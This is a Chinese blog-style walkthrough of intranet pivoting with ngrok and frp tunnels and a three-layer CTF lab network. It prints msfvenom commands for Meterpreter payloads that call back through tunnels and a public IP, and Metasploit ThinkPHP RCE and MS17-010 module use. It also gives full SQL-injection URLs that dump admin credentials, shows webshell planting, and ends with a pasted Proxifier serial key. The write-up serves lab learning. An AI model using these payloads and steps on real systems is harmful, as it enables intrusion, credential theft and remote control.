域横向内网漫游Socks代理技术
知识点
私有地址
IPv4地址协议中预留了3个IP地址段,作为私有地址,供组织机构内部使用。当私有网络内的主机要与位于公网上的主机进行通讯时必须经过地址转换,将其私有地址转换为合法公网地址才能对外访问。
A类地址:10/8 10.0.0.0–10.255.255.255
B类地址:172.16/12 172.16.0.0–172.31.255.255
C类地址:192.168/16 192.168.0.0–192.168.255.255
内网间通信
需要使用代理技术才能通信
正向反向协议通信连接
正向:控制端连到被控端
反向:被控端连到控制端
我们一般无法直接访问到内网地址,就需要内网中的主机自己出网找到我们的唯一公网地址
内网穿透代理隧道技术
代理:解决网络的连通性
隧道:应对流量监控工具和防火墙的过滤
内网穿透Ngrok测试-两个内网通讯上线
Ngork
ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。
反向代理在计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。
搭建
访问上述网址,注册登录后下载运行文件(注意区分操作系统),并获取自己账号对应的auth
题外话:
压缩文件 非打包
1 | # touch a.c |
列出压缩文件内容
1 | # tar -tzvf test.tar.gz |
解压文件
1 | # tar -xzvf test.tar.gz |
参考
https://learnku.com/articles/36003
https://www.thinbug.com/q/55014750
https://www.jianshu.com/p/571fdbc98d25
实验测试
基本攻击思路如下图
环境
攻击机:kali,ip 192.168.184.128,NAT模式
目标机:win7, ip 192.168.123.128,NAT模式
这里通过我的电脑虚拟机,和室友的电脑虚拟机建立两个内网,互相不能ping通(实在找不到两个不同内网也能用本地两台虚拟机模拟)
题外话(NAT-Network Address Translation):
当在专用网(私网)内部的一些主机本来已经分配到了本地IP地址(即仅在本专用网内使用的专用地址),但又想和因特网上的主机通信(并不需要加密)时,可使用NAT方法。
NAT不仅能解决IP地址不足的问题,而且还能够有效地避免来自网络外部的攻击,隐藏并保护网络内部的计算机。
1.宽带分享:这是 NAT 主机的最大功能。
2.安全防护:NAT 之内的 PC 联机到 Internet 上面时,他所显示的 IP 是 NAT 主机的公共 IP,所以 Client 端的 PC 当然就具有一定程度的安全了,外界在进行 portscan(端口扫描) 的时候,就侦测不到源Client 端的 PC 。
启动ngork
./ngork http 192.168.128:2333
这里代理服务器会将收到的消息转发到攻击机的2333端口
利用msf生成木马
1 | sfvenom -p windows/meterpreter/reverse_http lhost=a40a-182-150-122-182.ngrok.io lport=80 -f exe -o test1.exe |
生成后将木马传到目标机上
msf配置监听
获取目标主机会话
在目标主机运行木马,ngork收到http requests(这个过程可能会比较慢,可以多次运行木马文件)
并且msf收到会话
到此已打通两个内网主机,实现通信
内网穿透Frp自建跳板测试-两个内网通讯上线
两个不同内网通讯示意图如下:
特点
自行搭建,方便修改,成本低,使用多样化
frp配置
服务端
(阿里云主机需要修改安全组配置出入口)
下载-解压-修改-启动
1 | # 服务器修改配置文件frps.ini |
控制端
下载-解压-修改-启动
1 | # 控制端修改配置文件frpc.ini: |
msf+frp联动
msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=121.4.209.19 lport=6666 -f exe -o frp.exe
msf本地开启监听
1 | use exploit/multi/handler |
运行frp
开启frp服务后,在目标主机执行木马文件frp.exe,便会收到会话
ngork和frp
fps自建,可以让自己传输的数据不被外人监听
ngork是别人的服务器,传输数据可能存在被别人偷听
CFS三层内网漫游安全测试-某CTF线下2019
CFS(竞速夺旗)
来源:2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。
环境介绍
环境搭建
下载靶机后,导入VM中
配置网卡
编辑->虚拟网络编辑器
target1
双网卡
还需要配置宝塔
访问:http://192.168.184.142:8888/a768f109/
添加如下配置
target2
双网卡
配置网卡操作同target1
更改ip地址操作如下
1.打开vi /etc/network/interfaces
文件
2.编辑后重启
还需要配置宝塔(这里多弄一张nat网卡才能访问宝塔面板)
访问:http://192.168.184.145:8888/2cc52ec0/
不知道为啥这里显示的password是错的,网上搜到密码应该是123qwe..
添加配置如下
配置完后关闭这张nat网卡
target3
单网卡
配置网卡同target1
更改ip地址操作如下:
打靶
利用思路
利用过程
利用nmap进行C段扫描,得到target1的ip,nmap 192.168.184.0/24
访问80端口,是一个thinkphp5搭建的web服务
先上扫描器扫后台
访问/robots.txt
,拿到第一个flag
TP5可能存在RCE,于是利用msf的攻击模块去打
1 | use exploit/unix/webapp/thinkphp_rce |
成功拿到shell,获取到web权限
信息收集及配置访问
1 | 获取网络接口:run get_local_subnets |
msf开启本地代理
1 | use auxiliary/server/socks_proxy |
利用本地代理接口进行访问测试
linux
1 | vim /etc/proxychains4.conf # 找到配置文件位置 |
添加如下内容
利用proxychains4
,对192.168.22.0/24网段进行探针
1 | proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 |
这里探针到192.168.22.22的80端口开启
这里还可以使用msf自带的端口扫描
1 | use auxiliary/scanner/portscan/tcp |
windows
利用代理工具Proxyfier或SocksCap64载入代理进行进程访问测试
在浏览器配置代理去访问刚刚过的的目标ip地址(这里在自己真实主机上通过设置代理也能访问到,因为主机能ping通192.168.184.128)
这里利用SocksCap64结合御剑进行后台扫描(此操作在自己的物理主机上)
但是对扫描到的路径和文件进行访问并没有可用信息,只在robots.txt文件中发现了后台登陆点/index.php?r=admini
继续找线索,在目标主页右键查看源码信息,得到Hint,该站点/index.php?r=vul&keyword=1
存在SQL注入
这里最开始我是用kali里的sqlmap去跑的
1 | sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --proxy="http://192.168.184.128:1080" -p keyword |
不知道为什么说不存在注入
在物理机上的sqlmap更是扫不了,不知道为什么代理没起作用
最后我采用手工注入😭
获取数据库
1
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.schemata%23
获取bagecms数据库下的所有表名
1
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms'%23
获取bagecms数据库下的bage_admin表中所有字段
1
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin'%23
获取bagecms数据库下的bage_admin表中字段username和password的值
1
http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23
密码通过somd5解密如下
综上获得用户名:admin,密码:123qwe
用获得的用户名和密码去后台登录,进去便得到第二个flag
在后台翻找,发现这里可以直接修改**/tag/下的index.php**的内容
我直接写个🐴进去
但是我这里又遇到问题了,不管是Proxifier或SocksCap64做代理用caidao去连,还是用蚁剑自带的代理设置去连,都没有成功
折磨了我一晚上第二天早上又折磨了一上午,最后在网上看到说可能是宝塔有拦截,用冰蝎可以连,于是我就上了冰蝎的🐴
终于成功了!!!!!雷姆😭
要是还不成功我都想用一些奇怪的姿势去弄了,比如将target2反弹shell(通过写入命令执行到.php文件)给target1,taiget1利用portmap端口转发再反弹给kali的msf,来拿shell(详细参考:内网安全-域横向网络&传输&应用层隧道技术)
总之拿到shell就好,tnl
到此target2拿下,接下来是target3
这里插一句,做一个小记录,我最开始是想通过下图这个执行sql语句来写入webshell的,但是貌似没有写的权限,并且对<?php ?>
有过滤,再加上也不知道网站根目录在哪,就没有深入了
这里我们要继续到第三个靶机target3还需要借助target2来设置路由才能访问,所以需要将target2的shell交到msf手上
这里不能采用反向连接,因为target2是无法出网找到我们的kali的,所以需要我们的kali主动去绑定target2,所以msf在生成木马时会和反弹shell有不同
生成正向后门:
1 | msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf |
msf正向连接
1 | use exploit/multi/handler |
利用冰蝎去上传并执行后门
msf得到获得session
这里其实也可以不这么麻烦,冰蝎上有可以将不出网的主机反弹给msf的功能,同样能将冰蝎得到的shell反弹给msf
信息收集及配置访问
1 | 获取网络接口:run get_local_subnets |
使用msf自带的端口扫描,来探针存活主机
1 | use auxiliary/scanner/portscan/tcp |
探针到存活主机192.168.33.33
再用proxychains4+nmap来对192.168.33.33进行端口扫描,通过结果可以看出是一台windows
这里猜测大概率存在永恒之蓝MS17-010
利用msf的攻击模块尝试去打
先search一下有哪些攻击模块
选择exploit/windows/smb/ms17_010_psexec
1 | # 选择攻击模块 |
成功得到session
这里shell乱码,可以输入chcp 65001
修改编码,就好了
搜索flag
1 | cd / |
这里得到两个flag
到此三层内网靶机渗透完毕,芜湖起飞!🛫🛫🛫
总结
这次打这个靶机可谓是困难重重,遇到好多非预期bug,看别人文章上顺的一批,自己就是死活弄不出,折磨了好几天,真是让我体会到,不是自己动手做过,真不知道其中的艰辛,看着别人一帆风顺,实则一大堆坑在等着,所以(实操>>理论)。不过结果是好的,有了第一次,下次也许就顺了吧,也许吧😇
参考
https://blog.csdn.net/weixin_45447309/article/details/106907920
https://blog.csdn.net/li93675/article/details/81175883
为什么蚁剑连接成功了,但是再次执行命令就会reset【宝塔的服务器】
资源
frp:https://github.com/fatedier/frp/releases/(下载选择对应版本,linux查看内核版本信息`unam -a`)
CFS三层靶机环境:https://pan.baidu.com/s/1l5-TOVe9FO8mEjCiZ4mtMQ 提取码:xiao
Proxifier下载—注册码序列号5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition 安装版本)